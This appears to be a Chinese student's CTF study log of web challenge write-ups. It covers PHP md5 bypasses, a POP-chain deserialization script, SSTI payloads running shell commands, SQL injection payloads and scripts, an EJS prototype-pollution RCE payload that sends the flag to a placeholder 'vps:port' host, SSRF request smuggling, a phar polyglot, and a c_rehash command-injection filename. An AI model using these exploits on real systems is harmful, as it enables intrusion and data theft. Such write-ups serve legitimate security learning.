2023-3-6 WEEK1 学习
WEEK1 学习
WEB
[NSSCTF 2022 Spring Recruit]babyphp
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>
分析代码可以知道得到flag需要满足的条件如下
1、传参数a的方式是POST传参,传入的值不能是0-9,可以使用数组绕过
2、b1和b2需要他们的值不相等但是他们的md5值相等
3、c1和c2的字符串md5值弱相等,不能使用数组绕过了
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
payload:a[]=1&b1[]=1&b2[]=2&c1=s878926199a&c2=s214587387a
[NISACTF 2022]popchains
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
这题的几个魔术方法
__toString() 当对象在需要转换成字符串时,会调用此方法
__wakeup() 当调用unsearizlie()方法时调用。一般用来在唤醒时初始化资源对象
__invoke() 把对象当方法用的时候此方法会被调用
__construct() 对象初始化时会调用此方法(对于内核而言是指初始化完成后调用此方法)
__get($name) 获取对象不存在的属性或无法访问的属性时调用
include的执行需要通过__invoke(),它包含的内容来自变量var根据后面的提示应该是要用php伪协议读取flag.php里面的内容
第一步应该执行Make_a_Change 的 __get()来调用Try_Work_Hard 的 __invoke()让 $effort 指向 Try_Work_Hard 的对象观察 Road_is_Long ,发现可以通过 __toString() 启动 Make_a_Change 中的 __get()
所以 $string 指向 Make_a_Change 的对象这里要对 Road_is_Long new 两个对象出来,一个用于执行 __toString() ,另一个通过 __wakeup() 然后字符串匹配来调用前者
<?php
class Road_is_Long{
public $page;
public $string;
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var="php://filter/convert.base64-encode/resource=/flag";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
//开造
$a = new Road_is_Long;
$tmp = new Road_is_Long;
$b = new Try_Work_Hard;
$c = new Make_a_Change;
$c->effort=$b;
$tmp->string=$c;
$a->page=$tmp;
echo serialize($a);
[NCTF 2018]flask真香
发现过滤的很多,存在违禁词时会返回500状态,过滤了:
class
subclasses
config
args
request
open
eval
import
可以找到session对象,并且利用其dict的类型来通过字典的键名(键名为字符串,可拼接)来寻找我们需要的类。
通过字符串拼接来绕过过滤,构造:{{session['cla'+'ss']}}然后不断拼接__bases__[0]
来一层一层向上查找基类,直到找到object
基类:
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]}}
再利用__subclasses__
去访问object
基类下的所有子类:
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[:}}
我们尝试寻找可以执行命令的子类,主要应该考虑os
类,在页面中搜索后找到os._wrap_close
类,定位其位置并使用__init__
来将其实例化,再使用__globals__
来查看所有变量:
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[237].__init__.__globals__}}
并且我们也在该类下找到了可以用于执行命令的popen
函数:
但是popen
也会被过滤,还是使用字符串拼接的方法绕过:
{{""['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[237].__init__.__globals__['po'+'pen']('ls').read()}}
{{""['__cla''ss__'].__bases__[0]['__subcl''asses__']()[117].__init__.__globals__['__bui''ltins__']['ev''al']("__im""port__('o''s').po""pen('cat /T*').read()")}}
遇到过滤了的关键字就用拼接来绕过
[SWPUCTF 2021 新生赛]sql
看题目的title发现参数就是wllm
,先尝试输入一个数字进去,有回显,应该是一个数字型sql注入
?wllm=1'/**/'order/**/by/**/3#//回显正常,长度为3
?wllm=-1'union/** select/**/1,2,3#//找回显位置
?wllm=-1'union/**/select/**/1,2,database()#//查当前数据库
?wllm=-1 'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23//查表test_db数据库下的表
?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/ information_schema.columns/**/where/**/table_schema/**/like/**/database()#// 查LTLT表下的字段
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_ flag#//得到flag
[西湖论剑 2022]real_ez_node
在index.js里面看到这么一行代码,发现过滤了__proto__
,猜测应该是原型链污染,可以使用constructor.prototype
绕过。
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
在/copy
路由中发现ip被限制,一开始觉得可以通过改HTTP头来伪造的,但是发现var ip = req.connection.remoteAddress;
说明不能用请求头来伪造ip,应该是要用/curl
路由发送SSRF来打copy
路由了。这里很明显用 safeobj.expand
把接收到的东西给放到 user 里了。
expand: function (obj, path, thing) {
if (!path || typeof thing === 'undefined') {
return;
}
obj = isObject(obj) && obj !== null ? obj : {};
var props = path.split('.');
if (props.length === 1) {
obj[props.shift()] = thing;
} else {
var prop = props.shift();
if (!(prop in obj)) {
obj[prop] = {};
}
_safe.expand(obj[prop], props.join('.'), thing);
}
},
expand函数存在原型链污染漏洞
const safeobj = require('safe-obj');
var payload = `{"__proto__":{"whoami":"Vulnerable"}}`;
let user = {};
console.log("Before whoami: " + user.whoami);
for (let index in JSON.parse(payload)) {
safeobj.expand(user, index, JSON.parse(payload)[index])
}
console.log("After whoami: " + user.whoami);
因为这个是ejs的,所以可以直接用它的漏洞
{"constructor.prototype.outputFunctionName":
"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt');//"}
{"constructor.prototype.outputFunctionName":"_tmp1;return global.process.mainModule.require('child_process').exec('curl vps:port/`cat /flag.txt`')"}
编写exp
import requests
import urllib.parse
payload = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 200
Connection: close
{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('cat /flag.txt');var __tmp2//"}
GET / HTTP/1.1
test:'''.replace("\n", "\r\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100 + ord(i))
return ret
payload_enc = payload_encode(payload)
print(payload_enc)
r = requests.get('http://1.14.71.254:28606/curl?q=' + urllib.parse.quote(payload_enc))
print(r.text)
[CISCN 2019华北Day1]Web1
这题一打开是一个登录界面,先注册一个账号进入,发现是一个网盘管理系统,看到上传文件先上传一下,上传了一个图片码,但是找不到路径,利用不了。发现还有一个下载和一个删除操作,在下载的时候抓包发现一个任意文件下载漏洞
- chdir() 现实目录跳跃,
解释了为什么下载时要filename = ../../indx.php ,而不是filename = index.php。
<?php
#download.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
<?php
#delete.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
发现里面包含的是class.php
<?php
#class.php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">ä¸è½½</a> / <a href="#" class="delete">å é¤</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
看到这个一开始以为可以用sql注入,后来发现USER类里用了bind_param()
绑定了username
这个变量,所以是不存在sql注入的
在class.php
里面找到了file_get_content
这个函数,发现这个函数在另外两个里面也用到了,if判断里存在open
方法,且该方法存在file_exists
可以触发反序列化,但是由于不允许有flag字符,所以不能用close()
方法来进行任意文件读取,这也说明找准了做题的思路。
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
在本题中,次方法的作用,是去调用对象没有的方法。首先把要调用的方法,压进$this->funcs
中,然后遍历每一个文件,让每一个文件,都去调用刚才的方法。比如在index.php
中,就出现了这个函数的调用。
当执行 $a = new FileList($_SESSION[‘sandbox’])
时,会先调用构造函数,把“$_SESSION[‘sandbox’]”
目录下的所有文件,都放到 $a->files中,注意这是个数组,解释了为什么,在后面构造payload时,$this->files要等于一个数组。然后 $a->Name();
调用了一个FileList中并没有的方法,就会自动调用 __call($func, $args)
函数,其中$func=Name
。然后让
$a->files
里的所有文件,都去调用这个方法。并把结果,存储在以filename
为一级键名,方法为二级键名的数组中。然后Size方法同样如此。
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
foreach ($this->results as $filename => $result)
每次把每个一级数组的值,传递给$result
,即filename1[]foreach ($result as $func => $value)
每次把每个二级数组的值,传递给$value
echo table
最后打印出来全部数据
<?php
class User {
public $db;
}
class File{
public $filename = '/flag.txt';
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array(new File());
$this->results = array();
$this->funcs = array();
}
}
$o = new User();
$o->db =(new FileList());
echo serialize($o);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
生成phar文件改后缀为jpg,在delete操作中用phar协议读取。
[2021第五空间智能安全大赛] yet_another_mysql_injection
打开题目是一个登录页面,f12发现提示,得到源码
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
分析源码发现只有password
这个是可控的,但是在看下去发现要输入的和数据库里面的完全一致才能得到flag,尝试一下密码爆破结果成功了
sleep 可以用benchmark代替
<,> 可以用least(),greatest()代替
=,in 可以用like代替
substr 可以用mid代替
空格 可以用/**/代替
import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
url = "http://1.14.71.254:28725/index.php"
flag = ""
while True:
for i in alp:
data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
resp = requests.post(url=url,data=data)
time.sleep(0.1)
if "something wrong" not in resp.text:
flag+=i
print(flag)
break
elif "~" in i:
return
get_pass()
后来看了一下别人的wp发现好像不是这么做的0.0,用的是quine注入,正好借此学习了一下这个注入方式。核心思想就是让sql语句执行的结果等于sql语句本身,来绕过这个验证$row['password'] === $password
replace(object,search,replace)
把object对象中出现的search全部替换成replace
CHAR(34)="
CHAR(39)='
CHAR(46)=.
select replace(".",char(46),".");
+---------------------------+
| replace(".",char(46),".") |
+---------------------------+
| . |
+---------------------------+
mysql> select replace('replace(".",char(46),".")',char(46),'.');
+---------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'.') |
+---------------------------------------------------+
| replace(".",char(46),".") |
+---------------------------------------------------+
Quine基本形式:
replace(replace(‘str’,char(34),char(39)),char(46),‘str’)
先将str里的双引号替换成单引号,再用str替换str里的.
str基本形式(可以理解成上面的".")
replace(replace(".",char(34),char(39)),char(46),".")
完整的Quine就是Quine基本形式+str基本形式
payload:1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
[CISCN 2022 初赛] online_crt
CVE-2022-1292
,主要思路就是生成证书之后,去利用proxy
路由请求go server
去修改证书的名称为反引号包裹的命令,然后再去访问Python的createlink
路由从而调用c_rehash
来触发RCE
下载压缩包看app.py源码,给了四个路由/getcrt
这个是生成证书的路径,/createlink
这个里面用了一个c_rehash
的命令,不知道是什么意思,倒是搜出来了一堆的wp,/proxy
路由由用户构造报文,可以crlf,附件中还给了goserver看看源码
/getcrt 生成一个x509证书
/createlink 调用 c_rehash 创建证书链接
/proxy 通过代理访问go服务
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")
@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)
@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)
@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()
c_rehash
题目中出现了 c_rehash
c_rehash是openssl中的一个用perl编写的脚本工具
用于批量创建证书等文件 hash命名的符号链接
最近c_rehash 出了个命令注入漏洞 (CVE-2022-1292)
经过搜索网上并没有公开的exp
只能通过diff进行分析
https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8
这个地方对文件名的过滤不严格,没有过滤反引号就直接将文件名拼接到了命令里面
sub hash_dir {
my %hashlist;
print "Doing $_[0]\n";
chdir $_[0];
opendir(DIR, ".");
my @flist = sort readdir(DIR);
closedir DIR;
if ( $removelinks ) {
# Delete any existing symbolic links
foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {
if (-l $_) {
print "unlink $_" if $verbose;
unlink $_ || warn "Can't unlink $_, $!\n";
}
}
}
FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) {
# Check to see if certificates and/or CRLs present.
my ($cert, $crl) = check_file($fname);
if (!$cert && !$crl) {
print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n";
next;
}
link_hash_cert($fname) if ($cert);
link_hash_crl($fname) if ($crl);
}
}
发现在执行命令前会检查 文件后缀名.(pem)|(crt)|(cer)|(crl) 和文件内容
文件内容必须包含证书或者是吊销列表才能通过检查
利用条件
- 执行c_rehash 目标目录下文件可控
- 文件后缀符合要求
- 文件内容必须包含证书或者是吊销列表
- 文件名可控
题目中生成证书的功能可以创建一个满足要求的文件
继续看源码,go后端有一个admin路由,用于重命名证书文件
func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no"+c.Request.URL.RawPath+","+c.Request.Host )
}
为了实现可控的文件名 我们需要调用go的重命名功能,go的路由在重命名前有两个校验,c.Request.URL.RawPath != “” && c.Request.Host == “admin”
,首先需要绕过这两个验证
Request.URL.RawPath
需要我们的路由中存在有编码的内容才有数据,所以尝试构造包
python 在代理请求时直接使用了socket
发送raw数据包,在数据包{uri}
处没有过滤,所以我们可以直接在uri注入一个host头来替换原先的头
构造利用链
1、请求/getcrt路由,生成一个证书,返回证书路径
2、请求 /proxy 修改证书名为恶意文件名
3、请求/createlink 触发 c_rehash RCE
payload:uri=/admin/rename?oldname=d205092e-c641-423e-82f0-e96f583f3c38.crt&newname=0cat ${OLDPWD}flag >jnyghj.crt
最后curl一下static/crt/jnyghj
得到flag
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通